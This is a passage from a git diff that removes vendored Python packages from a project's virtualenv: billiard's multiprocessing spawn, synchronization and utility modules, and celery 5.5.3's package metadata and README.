process.current_process().authkey = data['authkey'] - - if 'log_to_stderr' in data and data['log_to_stderr']: - util.log_to_stderr() - - if 'log_level' in data: - util.get_logger().setLevel(data['log_level']) - - if 'sys_path' in data: - sys.path = data['sys_path'] - - if 'sys_argv' in data: - sys.argv = data['sys_argv'] - - if 'dir' in data: - os.chdir(data['dir']) - - if 'orig_dir' in data: - process.ORIGINAL_DIR = data['orig_dir'] - - if 'start_method' in data: - set_start_method(data['start_method']) - - if 'init_main_from_name' in data: - _fixup_main_from_name(data['init_main_from_name']) - elif 'init_main_from_path' in data: - _fixup_main_from_path(data['init_main_from_path']) - -# Multiprocessing module helpers to fix up the main module in -# spawned subprocesses - - -def _fixup_main_from_name(mod_name): - # __main__.py files for packages, directories, zip archives, etc, run - # their "main only" code unconditionally, so we don't even try to - # populate anything in __main__, nor do we make any changes to - # __main__ attributes - current_main = sys.modules['__main__'] - if mod_name == "__main__" or mod_name.endswith(".__main__"): - return - - # If this process was forked, __main__ may already be populated - try: - current_main_name = current_main.__spec__.name - except AttributeError: - current_main_name = current_main.__name__ - - if current_main_name == mod_name: - return - - # Otherwise, __main__ may contain some non-main code where we need to - # support unpickling it properly. We rerun it as __mp_main__ and make - # the normal __main__ an alias to that - old_main_modules.append(current_main) - main_module = types.ModuleType("__mp_main__") - main_content = runpy.run_module(mod_name, - run_name="__mp_main__", - alter_sys=True) - main_module.__dict__.update(main_content) - sys.modules['__main__'] = sys.modules['__mp_main__'] = main_module - - -def _fixup_main_from_path(main_path): - # If this process was forked, __main__ may already be populated - current_main = sys.modules['__main__'] - - # Unfortunately, the main ipython launch script historically had no - # "if __name__ == '__main__'" guard, so we work around that - # by treating it like a __main__.py file - # See https://github.com/ipython/ipython/issues/4698 - main_name = os.path.splitext(os.path.basename(main_path))[0] - if main_name == 'ipython': - return - - # Otherwise, if __file__ already has the setting we expect, - # there's nothing more to do - if getattr(current_main, '__file__', None) == main_path: - return - - # If the parent process has sent a path through rather than a module - # name we assume it is an executable script that may contain - # non-main code that needs to be executed - old_main_modules.append(current_main) - main_module = types.ModuleType("__mp_main__") - main_content = runpy.run_path(main_path, - run_name="__mp_main__") - main_module.__dict__.update(main_content) - sys.modules['__main__'] = sys.modules['__mp_main__'] = main_module - - -def import_main_path(main_path): - ''' - Set sys.modules['__main__'] to module at main_path - ''' - _fixup_main_from_path(main_path) diff --git a/backend/venv/Lib/site-packages/billiard/synchronize.py b/backend/venv/Lib/site-packages/billiard/synchronize.py deleted file mode 100644 index c864064a..00000000 --- a/backend/venv/Lib/site-packages/billiard/synchronize.py +++ /dev/null @@ -1,436 +0,0 @@ -# -# Module implementing synchronization primitives -# -# multiprocessing/synchronize.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -import errno -import sys -import tempfile -import threading - -from . import context -from . import process -from . import util - -from ._ext import _billiard, ensure_SemLock -from time import monotonic - -__all__ = [ - 'Lock', 'RLock', 'Semaphore', 'BoundedSemaphore', 'Condition', 'Event', -] - -# Try to import the mp.synchronize module cleanly, if it fails -# raise ImportError for platforms lacking a working sem_open implementation. -# See issue 3770 -ensure_SemLock() - -# -# Constants -# - -RECURSIVE_MUTEX, SEMAPHORE = list(range(2)) -SEM_VALUE_MAX = _billiard.SemLock.SEM_VALUE_MAX - -try: - sem_unlink = _billiard.SemLock.sem_unlink -except AttributeError: # pragma: no cover - try: - # Py3.4+ implements sem_unlink and the semaphore must be named - from _multiprocessing import sem_unlink # noqa - except ImportError: - sem_unlink = None # noqa - -# -# Base class for semaphores and mutexes; wraps `_billiard.SemLock` -# - - -def _semname(sl): - try: - return sl.name - except AttributeError: - pass - - -class SemLock: - _rand = tempfile._RandomNameSequence() - - def __init__(self, kind, value, maxvalue, ctx=None): - if ctx is None: - ctx = context._default_context.get_context() - name = ctx.get_start_method() - unlink_now = sys.platform == 'win32' or name == 'fork' - if sem_unlink: - for i in range(100): - try: - sl = self._semlock = _billiard.SemLock( - kind, value, maxvalue, self._make_name(), unlink_now, - ) - except (OSError, IOError) as exc: - if getattr(exc, 'errno', None) != errno.EEXIST: - raise - else: - break - else: - exc = IOError('cannot find file for semaphore') - exc.errno = errno.EEXIST - raise exc - else: - sl = self._semlock = _billiard.SemLock(kind, value, maxvalue) - - util.debug('created semlock with handle %s', sl.handle) - self._make_methods() - - if sem_unlink: - - if sys.platform != 'win32': - def _after_fork(obj): - obj._semlock._after_fork() - util.register_after_fork(self, _after_fork) - - if _semname(self._semlock) is not None: - # We only get here if we are on Unix with forking - # disabled. When the object is garbage collected or the - # process shuts down we unlink the semaphore name - from .semaphore_tracker import register - register(self._semlock.name) - util.Finalize(self, SemLock._cleanup, (self._semlock.name,), - exitpriority=0) - - @staticmethod - def _cleanup(name): - from .semaphore_tracker import unregister - sem_unlink(name) - unregister(name) - - def _make_methods(self): - self.acquire = self._semlock.acquire - self.release = self._semlock.release - - def __enter__(self): - return self._semlock.__enter__() - - def __exit__(self, *args): - return self._semlock.__exit__(*args) - - def __getstate__(self): - context.assert_spawning(self) - sl = self._semlock - if sys.platform == 'win32': - h = context.get_spawning_popen().duplicate_for_child(sl.handle) - else: - h = sl.handle - state = (h, sl.kind, sl.maxvalue) - try: - state += (sl.name, ) - except AttributeError: - pass - return state - - def __setstate__(self, state): - self._semlock = _billiard.SemLock._rebuild(*state) - util.debug('recreated blocker with handle %r', state[0]) - self._make_methods() - - @staticmethod - def _make_name(): - return '%s-%s' % (process.current_process()._config['semprefix'], - next(SemLock._rand)) - - -class Semaphore(SemLock): - - def __init__(self, value=1, ctx=None): - SemLock.__init__(self, SEMAPHORE, value, SEM_VALUE_MAX, ctx=ctx) - - def get_value(self): - return self._semlock._get_value() - - def __repr__(self): - try: - value = self._semlock._get_value() - except Exception: - value = 'unknown' - return '<%s(value=%s)>' % (self.__class__.__name__, value) - - -class BoundedSemaphore(Semaphore): - - def __init__(self, value=1, ctx=None): - SemLock.__init__(self, SEMAPHORE, value, value, ctx=ctx) - - def __repr__(self): - try: - value = self._semlock._get_value() - except Exception: - value = 'unknown' - return '<%s(value=%s, maxvalue=%s)>' % ( - self.__class__.__name__, value, self._semlock.maxvalue) - - -class Lock(SemLock): - ''' - Non-recursive lock. - ''' - - def __init__(self, ctx=None): - SemLock.__init__(self, SEMAPHORE, 1, 1, ctx=ctx) - - def __repr__(self): - try: - if self._semlock._is_mine(): - name = process.current_process().name - if threading.current_thread().name != 'MainThread': - name += '|' + threading.current_thread().name - elif self._semlock._get_value() == 1: - name = 'None' - elif self._semlock._count() > 0: - name = 'SomeOtherThread' - else: - name = 'SomeOtherProcess' - except Exception: - name = 'unknown' - return '<%s(owner=%s)>' % (self.__class__.__name__, name) - - -class RLock(SemLock): - ''' - Recursive lock - ''' - - def __init__(self, ctx=None): - SemLock.__init__(self, RECURSIVE_MUTEX, 1, 1, ctx=ctx) - - def __repr__(self): - try: - if self._semlock._is_mine(): - name = process.current_process().name - if threading.current_thread().name != 'MainThread': - name += '|' + threading.current_thread().name - count = self._semlock._count() - elif self._semlock._get_value() == 1: - name, count = 'None', 0 - elif self._semlock._count() > 0: - name, count = 'SomeOtherThread', 'nonzero' - else: - name, count = 'SomeOtherProcess', 'nonzero' - except Exception: - name, count = 'unknown', 'unknown' - return '<%s(%s, %s)>' % (self.__class__.__name__, name, count) - - -class Condition: - ''' - Condition variable - ''' - - def __init__(self, lock=None, ctx=None): - assert ctx - self._lock = lock or ctx.RLock() - self._sleeping_count = ctx.Semaphore(0) - self._woken_count = ctx.Semaphore(0) - self._wait_semaphore = ctx.Semaphore(0) - self._make_methods() - - def __getstate__(self): - context.assert_spawning(self) - return (self._lock, self._sleeping_count, - self._woken_count, self._wait_semaphore) - - def __setstate__(self, state): - (self._lock, self._sleeping_count, - self._woken_count, self._wait_semaphore) = state - self._make_methods() - - def __enter__(self): - return self._lock.__enter__() - - def __exit__(self, *args): - return self._lock.__exit__(*args) - - def _make_methods(self): - self.acquire = self._lock.acquire - self.release = self._lock.release - - def __repr__(self): - try: - num_waiters = (self._sleeping_count._semlock._get_value() - - self._woken_count._semlock._get_value()) - except Exception: - num_waiters = 'unknown' - return '<%s(%s, %s)>' % ( - self.__class__.__name__, self._lock, num_waiters) - - def wait(self, timeout=None): - assert self._lock._semlock._is_mine(), \ - 'must acquire() condition before using wait()' - - # indicate that this thread is going to sleep - self._sleeping_count.release() - - # release lock - count = self._lock._semlock._count() - for i in range(count): - self._lock.release() - - try: - # wait for notification or timeout - return self._wait_semaphore.acquire(True, timeout) - finally: - # indicate that this thread has woken - self._woken_count.release() - - # reacquire lock - for i in range(count): - self._lock.acquire() - - def notify(self): - assert self._lock._semlock._is_mine(), 'lock is not owned' - assert not self._wait_semaphore.acquire(False) - - # to take account of timeouts since last notify() we subtract - # woken_count from sleeping_count and rezero woken_count - while self._woken_count.acquire(False): - res = self._sleeping_count.acquire(False) - assert res - - if self._sleeping_count.acquire(False): # try grabbing a sleeper - self._wait_semaphore.release() # wake up one sleeper - self._woken_count.acquire() # wait for sleeper to wake - - # rezero _wait_semaphore in case a timeout just happened - self._wait_semaphore.acquire(False) - - def notify_all(self): - assert self._lock._semlock._is_mine(), 'lock is not owned' - assert not self._wait_semaphore.acquire(False) - - # to take account of timeouts since last notify*() we subtract - # woken_count from sleeping_count and rezero woken_count - while self._woken_count.acquire(False): - res = self._sleeping_count.acquire(False) - assert res - - sleepers = 0 - while self._sleeping_count.acquire(False): - self._wait_semaphore.release() # wake up one sleeper - sleepers += 1 - - if sleepers: - for i in range(sleepers): - self._woken_count.acquire() # wait for a sleeper to wake - - # rezero wait_semaphore in case some timeouts just happened - while self._wait_semaphore.acquire(False): - pass - - def wait_for(self, predicate, timeout=None): - result = predicate() - if result: - return result - if timeout is not None: - endtime = monotonic() + timeout - else: - endtime = None - waittime = None - while not result: - if endtime is not None: - waittime = endtime - monotonic() - if waittime <= 0: - break - self.wait(waittime) - result = predicate() - return result - - -class Event: - - def __init__(self, ctx=None): - assert ctx - self._cond = ctx.Condition(ctx.Lock()) - self._flag = ctx.Semaphore(0) - - def is_set(self): - with self._cond: - if self._flag.acquire(False): - self._flag.release() - return True - return False - - def set(self): - with self._cond: - self._flag.acquire(False) - self._flag.release() - self._cond.notify_all() - - def clear(self): - with self._cond: - self._flag.acquire(False) - - def wait(self, timeout=None): - with self._cond: - if self._flag.acquire(False): - self._flag.release() - else: - self._cond.wait(timeout) - - if self._flag.acquire(False): - self._flag.release() - return True - return False - -# -# Barrier -# - - -if hasattr(threading, 'Barrier'): - - class Barrier(threading.Barrier): - - def __init__(self, parties, action=None, timeout=None, ctx=None): - assert ctx - import struct - from .heap import BufferWrapper - wrapper = BufferWrapper(struct.calcsize('i') * 2) - cond = ctx.Condition() - self.__setstate__((parties, action, timeout, cond, wrapper)) - self._state = 0 - self._count = 0 - - def __setstate__(self, state): - (self._parties, self._action, self._timeout, - self._cond, self._wrapper) = state - self._array = self._wrapper.create_memoryview().cast('i') - - def __getstate__(self): - return (self._parties, self._action, self._timeout, - self._cond, self._wrapper) - - @property - def _state(self): - return self._array[0] - - @_state.setter - def _state(self, value): # noqa - self._array[0] = value - - @property - def _count(self): - return self._array[1] - - @_count.setter - def _count(self, value): # noqa - self._array[1] = value - - -else: - - class Barrier: # noqa - - def __init__(self, *args, **kwargs): - raise NotImplementedError('Barrier only supported on Py3') diff --git a/backend/venv/Lib/site-packages/billiard/util.py b/backend/venv/Lib/site-packages/billiard/util.py deleted file mode 100644 index 751959d8..00000000 --- a/backend/venv/Lib/site-packages/billiard/util.py +++ /dev/null @@ -1,237 +0,0 @@ -# -# Module providing various facilities to other parts of the package -# -# billiard/util.py -# -# Copyright (c) 2006-2008, R Oudkerk --- see COPYING.txt -# Licensed to PSF under a Contributor Agreement. -# - -import sys -import errno -import functools -import atexit - -try: - import cffi -except ImportError: - import ctypes - -try: - from subprocess import _args_from_interpreter_flags # noqa -except ImportError: # pragma: no cover - def _args_from_interpreter_flags(): # noqa - """Return a list of command-line arguments reproducing the current - settings in sys.flags and sys.warnoptions.""" - flag_opt_map = { - 'debug': 'd', - 'optimize': 'O', - 'dont_write_bytecode': 'B', - 'no_user_site': 's', - 'no_site': 'S', - 'ignore_environment': 'E', - 'verbose': 'v', - 'bytes_warning': 'b', - 'hash_randomization': 'R', - 'py3k_warning': '3', - } - args = [] - for flag, opt in flag_opt_map.items(): - v = getattr(sys.flags, flag) - if v > 0: - args.append('-' + opt * v) - for opt in sys.warnoptions: - args.append('-W' + opt) - return args - -from multiprocessing.util import ( # noqa - _afterfork_registry, - _afterfork_counter, - _exit_function, - _finalizer_registry, - _finalizer_counter, - Finalize, - ForkAwareLocal, - ForkAwareThreadLock, - get_temp_dir, - is_exiting, - register_after_fork, - _run_after_forkers, - _run_finalizers, -) - -from .compat import get_errno - -__all__ = [ - 'sub_debug', 'debug', 'info', 'sub_warning', 'get_logger', - 'log_to_stderr', 'get_temp_dir', 'register_after_fork', - 'is_exiting', 'Finalize', 'ForkAwareThreadLock', 'ForkAwareLocal', - 'SUBDEBUG', 'SUBWARNING', -] - - -# Constants from prctl.h -PR_GET_PDEATHSIG = 2 -PR_SET_PDEATHSIG = 1 - -# -# Logging -# - -NOTSET = 0 -SUBDEBUG = 5 -DEBUG = 10 -INFO = 20 -SUBWARNING = 25 -WARNING = 30 -ERROR = 40 - -LOGGER_NAME = 'multiprocessing' -DEFAULT_LOGGING_FORMAT = '[%(levelname)s/%(processName)s] %(message)s' - -_logger = None -_log_to_stderr = False - - -def sub_debug(msg, *args, **kwargs): - if _logger: - _logger.log(SUBDEBUG, msg, *args, **kwargs) - - -def debug(msg, *args, **kwargs): - if _logger: - _logger.log(DEBUG, msg, *args, **kwargs) - - -def info(msg, *args, **kwargs): - if _logger: - _logger.log(INFO, msg, *args, **kwargs) - - -def sub_warning(msg, *args, **kwargs): - if _logger: - _logger.log(SUBWARNING, msg, *args, **kwargs) - -def warning(msg, *args, **kwargs): - if _logger: - _logger.log(WARNING, msg, *args, **kwargs) - -def error(msg, *args, **kwargs): - if _logger: - _logger.log(ERROR, msg, *args, **kwargs) - - -def get_logger(): - ''' - Returns logger used by multiprocessing - ''' - global _logger - import logging - - try: - # Python 3.13+ - acquire, release = logging._prepareFork, logging._afterFork - except AttributeError: - acquire, release = logging._acquireLock, logging._releaseLock - acquire() - try: - if not _logger: - - _logger = logging.getLogger(LOGGER_NAME) - _logger.propagate = 0 - logging.addLevelName(SUBDEBUG, 'SUBDEBUG') - logging.addLevelName(SUBWARNING, 'SUBWARNING') - - # XXX multiprocessing should cleanup before logging - if hasattr(atexit, 'unregister'): - atexit.unregister(_exit_function) - atexit.register(_exit_function) - else: - atexit._exithandlers.remove((_exit_function, (), {})) - atexit._exithandlers.append((_exit_function, (), {})) - finally: - release() - - return _logger - - -def log_to_stderr(level=None): - ''' - Turn on logging and add a handler which prints to stderr - ''' - global _log_to_stderr - import logging - - logger = get_logger() - formatter = logging.Formatter(DEFAULT_LOGGING_FORMAT) - handler = logging.StreamHandler() - handler.setFormatter(formatter) - logger.addHandler(handler) - - if level: - logger.setLevel(level) - _log_to_stderr = True - return _logger - - -def get_pdeathsig(): - """ - Return the current value of the parent process death signal - """ - if not sys.platform.startswith('linux'): - # currently we support only linux platform. - raise OSError() - try: - if 'cffi' in sys.modules: - ffi = cffi.FFI() - ffi.cdef("int prctl (int __option, ...);") - arg = ffi.new("int *") - C = ffi.dlopen(None) - C.prctl(PR_GET_PDEATHSIG, arg) - return arg[0] - else: - sig = ctypes.c_int() - libc = ctypes.cdll.LoadLibrary("libc.so.6") - libc.prctl(PR_GET_PDEATHSIG, ctypes.byref(sig)) - return sig.value - except Exception: - raise OSError() - - -def set_pdeathsig(sig): - """ - Set the parent process death signal of the calling process to sig - (either a signal value in the range 1..maxsig, or 0 to clear). - This is the signal that the calling process will get when its parent dies. - This value is cleared for the child of a fork(2) and - (since Linux 2.4.36 / 2.6.23) when executing a set-user-ID or set-group-ID binary. - """ - if not sys.platform.startswith('linux'): - # currently we support only linux platform. - raise OSError("pdeathsig is only supported on linux") - try: - if 'cffi' in sys.modules: - ffi = cffi.FFI() - ffi.cdef("int prctl (int __option, ...);") - C = ffi.dlopen(None) - C.prctl(PR_SET_PDEATHSIG, ffi.cast("int", sig)) - else: - libc = ctypes.cdll.LoadLibrary("libc.so.6") - libc.prctl(PR_SET_PDEATHSIG, ctypes.c_int(sig)) - except Exception as e: - raise OSError("An error occured while setting pdeathsig") from e - -def _eintr_retry(func): - ''' - Automatic retry after EINTR. - ''' - - @functools.wraps(func) - def wrapped(*args, **kwargs): - while 1: - try: - return func(*args, **kwargs) - except OSError as exc: - if get_errno(exc) != errno.EINTR: - raise - return wrapped diff --git a/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/INSTALLER b/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/INSTALLER deleted file mode 100644 index a1b589e3..00000000 --- a/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/METADATA b/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/METADATA deleted file mode 100644 index 6322f884..00000000 --- a/backend/venv/Lib/site-packages/celery-5.5.3.dist-info/METADATA +++ /dev/null @@ -1,723 +0,0 @@ -Metadata-Version: 2.4 -Name: celery -Version: 5.5.3 -Summary: Distributed Task Queue. -Home-page: https://docs.celeryq.dev/ -Author: Ask Solem -Author-email: auvipy@gmail.com -License: BSD-3-Clause -Project-URL: Documentation, https://docs.celeryq.dev/en/stable/ -Project-URL: Changelog, https://docs.celeryq.dev/en/stable/changelog.html -Project-URL: Code, https://github.com/celery/celery -Project-URL: Tracker, https://github.com/celery/celery/issues -Project-URL: Funding, https://opencollective.com/celery -Keywords: task job queue distributed messaging actor -Platform: any -Classifier: Development Status :: 5 - Production/Stable -Classifier: License :: OSI Approved :: BSD License -Classifier: Topic :: System :: Distributed Computing -Classifier: Topic :: Software Development :: Object Brokering -Classifier: Framework :: Celery -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: Operating System :: OS Independent -Requires-Python: >=3.8 -License-File: LICENSE -Requires-Dist: billiard<5.0,>=4.2.1 -Requires-Dist: kombu<5.6,>=5.5.2 -Requires-Dist: vine<6.0,>=5.1.0 -Requires-Dist: click<9.0,>=8.1.2 -Requires-Dist: click-didyoumean>=0.3.0 -Requires-Dist: click-repl>=0.2.0 -Requires-Dist: click-plugins>=1.1.1 -Requires-Dist: backports.zoneinfo[tzdata]>=0.2.1; python_version < "3.9" -Requires-Dist: python-dateutil>=2.8.2 -Provides-Extra: arangodb -Requires-Dist: pyArango>=2.0.2; extra == "arangodb" -Provides-Extra: auth -Requires-Dist: cryptography==44.0.2; extra == "auth" -Provides-Extra: azureblockblob -Requires-Dist: azure-storage-blob>=12.15.0; extra == "azureblockblob" -Requires-Dist: azure-identity>=1.19.0; extra == "azureblockblob" -Provides-Extra: brotli -Requires-Dist: brotlipy>=0.7.0; platform_python_implementation == "PyPy" and extra == "brotli" -Requires-Dist: brotli>=1.0.0; platform_python_implementation == "CPython" and extra == "brotli" -Provides-Extra: cassandra -Requires-Dist: cassandra-driver<4,>=3.25.0; extra == "cassandra" -Provides-Extra: consul -Requires-Dist: python-consul2==0.1.5; extra == "consul" -Provides-Extra: cosmosdbsql -Requires-Dist: pydocumentdb==2.3.5; extra == "cosmosdbsql" -Provides-Extra: couchbase -Requires-Dist: couchbase>=3.0.0; (platform_python_implementation != "PyPy" and (platform_system != "Windows" or python_version < "3.10")) and extra == "couchbase" -Provides-Extra: couchdb -Requires-Dist: pycouchdb==1.16.0; extra == "couchdb" -Provides-Extra: django -Requires-Dist: Django>=2.2.28; extra == "django" -Provides-Extra: dynamodb -Requires-Dist: boto3>=1.26.143; extra == "dynamodb" -Provides-Extra: elasticsearch -Requires-Dist: elasticsearch<=8.17.2; extra == "elasticsearch" -Requires-Dist: elastic-transport<=8.17.1; extra == "elasticsearch" -Provides-Extra: eventlet -Requires-Dist: eventlet>=0.32.0; python_version < "3.10" and extra == "eventlet" -Provides-Extra: gevent -Requires-Dist: gevent>=1.5.0; extra == "gevent" -Provides-Extra: gcs -Requires-Dist: google-cloud-storage>=2.10.0; extra == "gcs" -Requires-Dist: google-cloud-firestore==2.20.1; extra == "gcs" -Requires-Dist: grpcio==1.67.0; extra == "gcs" -Provides-Extra: librabbitmq -Requires-Dist: librabbitmq>=2.0.0; python_version < "3.11" and extra == "librabbitmq" -Provides-Extra: memcache -Requires-Dist: pylibmc==1.6.3; platform_system != "Windows" and extra == "memcache" -Provides-Extra: mongodb -Requires-Dist: kombu[mongodb]; extra == "mongodb" -Provides-Extra: msgpack -Requires-Dist: kombu[msgpack]; extra == "msgpack" -Provides-Extra: pymemcache -Requires-Dist: python-memcached>=1.61; extra == "pymemcache" -Provides-Extra: pydantic -Requires-Dist: pydantic>=2.4; extra == "pydantic" -Provides-Extra: pyro -Requires-Dist: pyro4==4.82; python_version < "3.11" and extra == "pyro" -Provides-Extra: pytest -Requires-Dist: pytest-celery[all]<1.3.0,>=1.2.0; extra == "pytest" -Provides-Extra: redis -Requires-Dist: kombu[redis]; extra == "redis" -Provides-Extra: s3 -Requires-Dist: boto3>=1.26.143; extra == "s3" -Provides-Extra: slmq -Requires-Dist: softlayer_messaging>=1.0.3; extra == "slmq" -Provides-Extra: solar -Requires-Dist: ephem==4.2; platform_python_implementation != "PyPy" and extra == "solar" -Provides-Extra: sqlalchemy -Requires-Dist: kombu[sqlalchemy]; extra == "sqlalchemy" -Provides-Extra: sqs -Requires-Dist: boto3>=1.26.143; extra == "sqs" -Requires-Dist: urllib3>=1.26.16; extra == "sqs" -Requires-Dist: kombu[sqs]>=5.5.0; extra == "sqs" -Provides-Extra: tblib -Requires-Dist: tblib>=1.5.0; python_version >= "3.8.0" and extra == "tblib" -Requires-Dist: tblib>=1.3.0; python_version < "3.8.0" and extra == "tblib" -Provides-Extra: yaml -Requires-Dist: kombu[yaml]; extra == "yaml" -Provides-Extra: zookeeper -Requires-Dist: kazoo>=1.3.1; extra == "zookeeper" -Provides-Extra: zstd -Requires-Dist: zstandard==0.23.0; extra == "zstd" -Dynamic: author -Dynamic: author-email -Dynamic: classifier -Dynamic: description -Dynamic: home-page -Dynamic: keywords -Dynamic: license -Dynamic: license-file -Dynamic: platform -Dynamic: project-url -Dynamic: provides-extra -Dynamic: requires-dist -Dynamic: requires-python -Dynamic: summary - -.. image:: https://docs.celeryq.dev/en/latest/_images/celery-banner-small.png - -|build-status| |coverage| |license| |wheel| |semgrep| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| - -:Version: 5.5.3 (immunity) -:Web: https://docs.celeryq.dev/en/stable/index.html -:Download: https://pypi.org/project/celery/ -:Source: https://github.com/celery/celery/ -:DeepWiki: |deepwiki| -:Keywords: task, queue, job, async, rabbitmq, amqp, redis, - python, distributed, actors - -Donations -========= - -Open Collective ---------------- - -.. image:: https://opencollective.com/static/images/opencollectivelogo-footer-n.svg - :alt: Open Collective logo - :width: 200px - -`Open Collective `_ is our community-powered funding platform that fuels Celery's -ongoing development. Your sponsorship directly supports improvements, maintenance, and innovative features that keep -Celery robust and reliable. - -For enterprise -============== - -Available as part of the Tidelift Subscription. - -The maintainers of ``celery`` and thousands of other packages are working with Tidelift to deliver commercial support and maintenance for the open source dependencies you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact dependencies you use. `Learn more. `_ - -Sponsors -======== - -Blacksmith ----------- - -.. image:: ./docs/images/blacksmith-logo-white-on-black.svg - :alt: Blacksmith logo - :width: 240px - -`Official Announcement `_ - -Upstash -------- - -.. image:: https://upstash.com/logo/upstash-dark-bg.svg - :alt: Upstash logo - :width: 200px - -`Upstash `_ offers a serverless Redis database service, -providing a seamless solution for Celery users looking to leverage -serverless architectures. Upstash's serverless Redis service is designed -with an eventual consistency model and durable storage, facilitated -through a multi-tier storage architecture. - -Dragonfly ---------- - -.. image:: https://github.com/celery/celery/raw/main/docs/images/dragonfly.svg - :alt: Dragonfly logo - :width: 150px - -`Dragonfly `_ is a drop-in Redis replacement that cuts costs and boosts performance. -Designed to fully utilize the power of modern cloud hardware and deliver on the data demands of modern applications, -Dragonfly frees developers from the limits of traditional in-memory data stores. - - - -.. |oc-sponsor-1| image:: https://opencollective.com/celery/sponsor/0/avatar.svg - :target: https://opencollective.com/celery/sponsor/0/website - -What's a Task Queue? -==================== - -Task queues are used as a mechanism to distribute work across threads or -machines. - -A task queue's input is a unit of work, called a task, dedicated worker -processes then constantly monitor the queue for new work to perform. - -Celery communicates via messages, usually using a broker -to mediate between clients and workers. To initiate a task a client puts a -message on the queue, the broker then delivers the message to a worker. - -A Celery system can consist of multiple workers and brokers, giving way -to high availability and horizontal scaling. - -Celery is written in Python, but the protocol can be implemented in any -language. In addition to Python there's node-celery_ for Node.js, -a `PHP client`_, `gocelery`_, gopher-celery_ for Go, and rusty-celery_ for Rust. - -Language interoperability can also be achieved by using webhooks -in such a way that the client enqueues an URL to be requested by a worker. - -.. _node-celery: https://github.com/mher/node-celery -.. _`PHP client`: https://github.com/gjedeer/celery-php -.. _`gocelery`: https://github.com/gocelery/gocelery -.. _gopher-celery: https://github.com/marselester/gopher-celery -.. _rusty-celery: https://github.com/rusty-celery/rusty-celery - -What do I need? -=============== - -Celery version 5.5.x runs on: - -- Python (3.8, 3.9, 3.10, 3.11, 3.12, 3.13) -- PyPy3.9+ (v7.3.12+) - - -This is the version of celery which will support Python 3.8 or newer. - -If you're running an older version of Python, you need to be running -an older version of Celery: - -- Python 3.7: Celery 5.2 or earlier. -- Python 3.6: Celery 5.1 or earlier. -- Python 2.7: Celery 4.x series. -- Python 2.6: Celery series 3.1 or earlier. -- Python 2.5: Celery series 3.0 or earlier. -- Python 2.4: Celery series 2.2 or earlier. - -Celery is a project with minimal funding, -so we don't support Microsoft Windows but it should be working. -Please don't open any issues related to that platform. - -*Celery* is usually used with a message broker to send and receive messages. -The RabbitMQ, Redis transports are feature complete, -but there's also experimental support for a myriad of other solutions, including -using SQLite for local development. - -*Celery* can run on a single machine, on multiple machines, or even -across datacenters. - -Get Started -=========== - -If this is the first time you're trying to use Celery, or you're -new to Celery v5.5.x coming from previous versions then you should read our -getting started tutorials: - -- `First steps with Celery`_ - - Tutorial teaching you the bare minimum needed to get started with Celery. - -- `Next steps`_ - - A more complete overview, showing more features. - -.. _`First steps with Celery`: - https://docs.celeryq.dev/en/stable/getting-started/first-steps-with-celery.html - -.. _`Next steps`: - https://docs.celeryq.dev/en/stable/getting-started/next-steps.html - - You can also get started with Celery by using a hosted broker transport CloudAMQP. The largest hosting provider of RabbitMQ is a proud sponsor of Celery. - -Celery is... -============= - -- **Simple** - - Celery is easy to use and maintain, and does *not need configuration files*. - - It has an active, friendly community you can talk to for support, - like at our `mailing-list`_, or the IRC channel. - - Here's one of the simplest applications you can make: - - .. code-block:: python - - from celery import Celery - - app = Celery('hello', broker='amqp://guest@localhost//') - - @app.task - def hello(): - return 'hello world' - -- **Highly Available** - - Workers and clients will automatically retry in the event - of connection loss or failure, and some brokers support - HA in way of *Primary/Primary* or *Primary/Replica* replication. - -- **Fast** - - A single Celery process can process millions of tasks a minute, - with sub-millisecond round-trip latency (using RabbitMQ, - py-librabbitmq, and optimized settings). - -- **Flexible** - - Almost every part of *Celery* can be extended or used on its own, - Custom pool implementations, serializers, compression schemes, logging, - schedulers, consumers, producers, broker transports, and much more. - -It supports... -================ - - - **Message Transports** - - - RabbitMQ_, Redis_, Amazon SQS, Google Pub/Sub - - - **Concurrency** - - - Prefork, Eventlet_, gevent_, single threaded (``solo``) - - - **Result Stores** - - - AMQP, Redis - - memcached - - SQLAlchemy, Django ORM - - Apache Cassandra, IronCache, Elasticsearch - - Google Cloud Storage - - - **Serialization** - - - *pickle*, *json*, *yaml*, *msgpack*. - - *zlib*, *bzip2* compression. - - Cryptographic message signing. - -.. _`Eventlet`: http://eventlet.net/ -.. _`gevent`: http://gevent.org/ - -.. _RabbitMQ: https://rabbitmq.com -.. _Redis: https://redis.io -.. _SQLAlchemy: http://sqlalchemy.org - -Framework Integration -===================== - -Celery is easy to integrate with web frameworks, some of which even have -integration packages: - - +--------------------+------------------------+ - | `Django`_ | not needed | - +--------------------+------------------------+ - | `Pyramid`_ | `pyramid_celery`_ | - +--------------------+------------------------+ - | `Pylons`_ | `celery-pylons`_ | - +--------------------+------------------------+ - | `Flask`_ | not needed | - +--------------------+------------------------+ - | `web2py`_ | `web2py-celery`_ | - +--------------------+------------------------+ - | `Tornado`_ | `tornado-celery`_ | - +--------------------+------------------------+ - | `FastAPI`_ | not needed | - +--------------------+------------------------+ - -The integration packages aren't strictly necessary, but they can make -development easier, and sometimes they add important hooks like closing -database connections at ``fork``. - -.. _`Django`: https://djangoproject.com/ -.. _`Pylons`: http://pylonsproject.org/ -.. _`Flask`: https://flask.palletsprojects.com/ -.. _`web2py`: http://web2py.com/ -.. _`Bottle`: https://bottlepy.org/ -.. _`Pyramid`: https://docs.pylonsproject.org/projects/pyramid/en/latest/ -.. _`pyramid_celery`: https://pypi.org/project/pyramid_celery/ -.. _`celery-pylons`: https://pypi.org/project/celery-pylons/ -.. _`web2py-celery`: 